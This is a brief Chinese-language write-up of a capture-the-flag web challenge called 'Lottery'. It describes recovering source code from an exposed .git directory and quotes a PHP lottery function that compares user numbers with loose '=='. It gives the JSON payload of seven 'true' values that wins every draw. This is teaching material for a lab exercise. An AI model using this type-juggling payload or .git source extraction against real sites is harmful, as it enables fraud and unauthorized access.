php 弱类型
Lottery
目标
git 泄露 源码审计
php 弱类型
环境
无
工具
burpsuite
解题思路
首先 访问 /robots.txt 或者 /.git/ 发现 Git 仓库可以 GitHack 拿到源码
漏洞在 api.php
function buy($req){ require_registered(); require_min_money(2);
$money = $_SESSION['money'];$numbers = $req['numbers'];$win_numbers = random_win_nums();$same_count = 0;for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } }
其中 $numbers
来自用户json
输入 {"action":"buy","numbers":"1122334"}
,没有检查数据类型。 $win_numbers
是随机生成的数字字符串。
使用 PHP 弱类型松散比较,以"1"
为例,和TRUE
,1
,"1"
相等。 由于 json 支持布尔型数据,因此可以抓包改包,发送:
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
当每一位中奖号码都不是0时即可中最高奖,攒钱买flag。
赞 (0)